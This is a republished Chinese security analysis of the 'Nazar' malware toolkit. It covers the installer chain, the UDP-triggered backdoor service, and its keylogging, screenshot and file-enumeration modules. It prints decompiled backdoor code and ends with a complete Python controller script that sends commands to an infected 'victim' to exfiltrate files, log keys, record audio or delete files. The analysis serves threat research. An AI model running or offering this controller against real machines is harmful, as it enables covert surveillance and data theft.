如何深度分析Nazar 組件,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
6:22 AM 11/7/2012 conficker still on target
6:18 AM 11/7/2012 checking logs - we are clean
8:16 PM 7/2/2012 - BOOM!, got the callback
這些是方程組(NSA)在攻擊目標系統留下的記錄,后來被Shadow Brokers泄露。 最近,安全研究員透露了一個先前被錯誤識別且未知的威脅組織Nazar,下面將對Nazar組件進行深入分析。
影子經紀人泄漏的數據使眾多漏洞(例如EternalBlue)成為眾人關注的焦點,但其中還包含了許多更有價值的組件,這些組件顯示了Equation Group在發動攻擊之前采取的一些預防措施。

例如,在泄漏文件中名為“ drv_list.txt”的文件,其中包含驅動程序名稱列表和相應的注釋,如果在目標系統上找到了驅動程序,則會將信息發送給攻擊者。

列表中還包含惡意驅動程序的名稱,如果找到這些惡意驅動程序,表明目標系統已經被其他人破壞,然后警告攻擊者“撤回”。負責此類檢查的關鍵組件名為“Territorial Dispute”或者“TeDi”。

“ TeDi”包含45個簽名,可在目標系統中搜索與其他威脅組織關聯的注冊表項和文件名。與安全掃描不同,攻擊者最終目的是確保自身操作不會受到干擾,其他攻擊者不會檢測到他們的工具。

在某些情況下,防止自身操作不會干擾“友好”威脅組的運行,也不會同時攻擊同一目標。

安全研究員指出,“ TeDi”中的第37個簽名是尋找名為“ Godown.dll”的文件,它指向的就是伊朗威脅組織“Nazar”。

Nazar在2008年左右開始活動,可能與第‘TeDi’第37個簽名相關,它負責檢測Nazar工具插件“ Godown.dll”。

Nazar執行的初始二進制文件是gpUpdates.exe。 它是由“ Zip 2 Secure EXE”創建的自解壓文檔(SFX)。 執行后,gpUpdates將三個文件寫入磁盤:Data.bin,info和Distribute.exe, 然后gpUpdates.exe將啟動Distribute.exe。
首先,Distribute.exe將讀取info和Data.bin。 Data.bin是一個二進制Blob,其中包含多個PE文件。info文件非常小,其中包含一個簡單的結構,該結構表示Data.bin中PE文件的長度。 Distribute.exe將按文件長度的順序逐個讀取Data.bin。下表顯示了Data.bin文件與info寫入長度的關系。

之后Distribute.exe使用regsv***將3個DLL文件寫入注冊表中。

使用CreateServiceA將svchost.exe添加為名為“ EYService”的服務,啟動該服務并退出。 該服務是攻擊的主要部分,協調Nazar調用模塊。

服務執行后,首先設置數據包嗅探。
DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
HANDLE hMgr; // edi
HANDLE hCfg; // esi
HANDLE hFtr; // edi
hMgr = MgrCreate();
MgrInitialize(hMgr);
hCfg = MgrGetFirstAdapterCfg(hMgr);
do
{
if ( !AdpCfgGetAccessibleState(hCfg) )
break;
hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
}
while ( hCfg );
ADP_struct = AdpCreate();
AdpSetConfig(ADP_struct, hCfg);
if ( !AdpOpenAdapter(ADP_struct) )
{
AdpGetConnectStatus(ADP_struct);
MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
AdpCfgGetMACAddress(hCfg, &mac_address, 6);
hFtr = BpfCreate();
BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value
BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
BpfAddCmd(hFtr, BPF_RET, 0);
AdpSetUserFilter(ADP_struct, hFtr);
AdpSetUserFilterActive(ADP_struct, 1);
AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
AdpSetMacFilter(ADP_struct, 2);
while ( 1 )
{
if ( stop_and_ping == 1 )
{
adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
connection_method(2);
stop_and_ping = 0;
}
Sleep(1000u);
}
}
return 0;
}
每當UDP數據包到達時,無論是否存在響應,都會記錄其源IP以用于下一個響應。 然后檢查數據包的目標端口,如果是1234,則將數據將轉發到命令處理器。
int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
int length; // edi
length = HIBYTE(udp_packet->length) - 8;
ntohs(udp_packet->src_port);
if ( ntohs(udp_packet->dst_port) != 1234 )
return 0;
commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
return 1;
}
每個響應都會從頭開始構建數據包,響應分為3種類型:
1、發送ACK:目標端口4000,有效負載101; 0000
2、發送計算機信息:目標端口4000,有效負載100; <計算機名稱>; <操作系統名稱>
3、發送文件:通過UDP發送數據,然后是帶有<size_of_file>的數據包。如果服務器將標識為0x3456的數據包發送到目標端口1234,惡意軟件將使用目標端口0x5634發送響應。

下表為命令支持列表:

Godown.dll是SIG37重點關注的DLL,它是一個小型DLL,只有一個關閉計算機的功能。
Filesystem.dll是由攻擊者自己編寫的模塊。該模塊的目的是枚舉受感染系統上的驅動器,文件夾和文件,并將結果寫入Drives.txt和Files.txt。
目前發現兩個版本均包含PDB路徑,其中提到了波斯語為Khzer(或???)的文件夾:
C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
兩條路徑之間存在一些差異,表明該模塊的兩個版本不是在同一環境中編譯的。
hodll.dll模塊負責鍵盤記錄,通過設置鉤子來完成。該代碼來自開源代碼庫,某種程度上像從互聯網上復制了多個項目的代碼,最終拼裝在一起。
該DLL基于名為“ BMGLib”的開源項目,用于獲取受害者計算機的屏幕截圖。

from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H',4000))[0]
def get_response(sock, should_loop):
started = False
total_payload = b''
while(should_loop or not started):
try:
payload, client_address = sock.recvfrom(4096)
except ConnectionResetError:
payload, client_address = sock.recvfrom(4096)
total_payload += payload
# Good enough stop condition
if (len(payload) >= 4
and payload[:3] == b'---'
and payload[4] >= ord('0')
and payload[4] <= ord('9')):
should_loop = False
started = True
hexdump.hexdump(total_payload)
MENU = """Welcome to NAZAR. Please choose:
999 - Get a ping from the victim.
555 - Get information on the victim's machine.
311 - Start keylogging (312 to disable).
139 - Shutdown victim's machine.
189 - Screenshot (313 to disable).
119 - Record audio from Microphone (315 to disable).
199 - List drives.
200 - List recursivley from directory*.
201 - Send a file*.
209 - Remove file*.
599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
"""
def get_message():
while True:
curr_message = input('> ').strip()
if 'quit' in curr_message:
return None
if 'help' in curr_message:
print(MENU)
else:
return curr_message
def get_sock():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = '0.0.0.0'
server = (server_address, SERVER_PORT)
sock.bind(server)
return sock
def main(ip_addr):
sock = get_sock()
print(MENU)
multi_packets = ["200","201", "119", "189", "311", "199", "599"]
single_packets = ["999", "555"]
all_commands = single_packets + multi_packets
while True:
curr_message = get_message()
if not curr_message:
break
# Send message using scapy
# Make sure the IP identification field is little endian of the port.
sr1(
IP(dst=ip_addr, id=ID)/
UDP(sport=SERVER_PORT,dport=1234)/
Raw(load=curr_message),
verbose=0
)
command = curr_message[:3]
if command not in all_commands:
continue
should_loop = command in multi_packets
get_response(sock, should_loop)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="victim's IP")
parser.add_argument('ip')
args = parser.parse_args()
main(args.ip)關于如何深度分析Nazar 組件問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。